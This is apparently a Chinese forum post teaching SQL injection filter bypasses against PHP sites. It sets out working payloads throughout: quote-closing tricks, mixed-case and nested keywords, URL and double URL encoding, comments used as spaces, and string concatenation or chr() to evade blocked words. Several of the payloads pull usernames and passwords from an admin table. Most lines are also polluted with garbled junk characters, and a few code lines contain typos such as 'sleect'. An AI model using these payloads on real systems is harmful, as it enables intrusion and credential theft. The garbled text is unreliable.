PHP中SQL注入，绕开过滤，照样注入

admin

SQL注入。有攻有防。知道进攻。才懂得防守.
  l$ x. B. R+ X. r1 j
' t7 s, v' k( C5 ~有的时候，很容易受到SQL注入攻击的程序，可能会进行输入过滤，用来防止攻击者无限制的利用其中存在的设计缺陷。

2 O$ z% `5 U# G4 z1 o5 o, y唱出会删除或者净化一些字符，或者阻止常用的sql关键词。

. W) O/ Y; F3 r0 q8 D  x# ~! S0 V我们通常有以下几种技巧，去避开这些过滤。

7 J$ M1 t" `0 m! X! P1，避免使用被阻止的字符，即不使用这些字符仍然达到攻击目的。
6 @) W3 H& J% d; u# l; C1 t
8 Y; I  A+ {* [* G- E6 bA，如果注入一个数字数据字段，就不需要使用单引号。
/ A$ C$ s$ K& H' B3 ^4 m* u
! k2 s+ `1 }6 t+ o/ d- g7 [' kB，输入注释符号被阻止使用，我们可以设计注入的数据，既不破坏周围的查询语法。
  t  T1 U* ?2 H3 n! o* o6 Q
比如， ?id=1′ 这里存在注入，过滤了注释符合，我们可以输入 ?id=1′ or ‘a’=’a
/ c# J/ Y9 x4 s; ~/ H& n
6 v" {7 f( s: M8 w  l* o' Z目的其实很简单，就是把后面的单引号给闭合掉。

C，在一个MSSQL注入中注入批量查询的时候，不必使用分号分隔符。

只要纠正所有批量查询的语法，无论你是否使用分号，查询的解析器依然能正确的去解释它们的。
5 Y6 q9 n, f8 m2 [8 h; A
2，避免使用简单确认
1 q8 O- x" r8 V* g& \5 D
) H% F4 q8 L9 H! J- e/ j( K一些输入确认机制使用一个简单的黑名单，组织或删除任何出现在这个名单中的数据，比如防注入程序。
0 \, e/ ~1 ]( K% U, V" X
这一般要看这个机制是否做的足够的好了，黑名单是否足够能确保安全。如果只是简单的黑名单，那也有机会突破的。
, w! Z* J: ~! x/ ~/ J6 w( c3 g$ |
! p, r4 M" {, e& t( d3 K; s1 i, N& TA，如果select关键词被阻止或删除
; ^! C4 I8 J$ D. }' V& G7 w( a5 Z) ]
我们可以输入：

SeLeCt       注意大小写

8 H4 f- e0 q7 q$ W& x6 w* r5 lselselectect    还记得ewebeditor是怎么过滤asp的么？
3 F+ j5 z$ q' ~+ r, m  r  V( _
+ t% k( O* G+ n% {, S%53%45%4c%45%43%54                        URL编码

2 q# e' `8 X' g. w$ a%2553%2545%254c%2545%2543%2554    对上面的每个%后加了一个25
. g* n5 s. O. i- o
3，使用SQL注释符
1 n- \. ]5 A# d, R( X
9 G6 Y- s$ E( A5 C, DA,使用注释来冒充注入的数据中的空格。
% F* h! ]: s( Z5 I$ S7 Y
( G" H2 k% G" V- j# Fselect/*yesu*/username,password/*yesu*/from/*yesu*/admin
+ k1 ?5 O; q- l
# b* k- L; y  a* E0 e- o7 K0 Q( w/*yesu*/来冒充空格

: ]& @3 H; @! c4 mB,使用注释来避开某些注入的确认过滤。

SEL/*yesu*/ECT username,password fr/*yesu*/om admin

4,处理被阻止的字符串

4 @7 M: u( J+ k, E3 e+ R/ r& |比如，程序阻止了admin，因为怕攻击者注入admin表单中的数据。

; N( f% }: a: C2 h, U) N8 F0 P我们可以这样

" n: a/ b) n: [8 ~A，oracle数据库： ‘adm’||’in’
( f+ H4 l) p/ k
+ k8 V7 d4 M2 X) `0 N( Q) YB,MSSQL数据库： ‘adm’+’in’
* \# [# P6 ?4 J+ b. ^) h; `
# c- |# G" Q( F: v' p9 N% ^C,MYSQL数据库： concat (‘adm’,’in’)

1 W7 R7 J& N( z$ v. {0 |9 g: \D,oracle中如果单引号被阻止了，还可以用chr函数
# F8 y( r! c* M
sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)

: s; Q8 j8 P. E, o+ `- h8 Z还有其他方法。正在收集中.

" T: H- f4 r: \  Z3 T& p6 D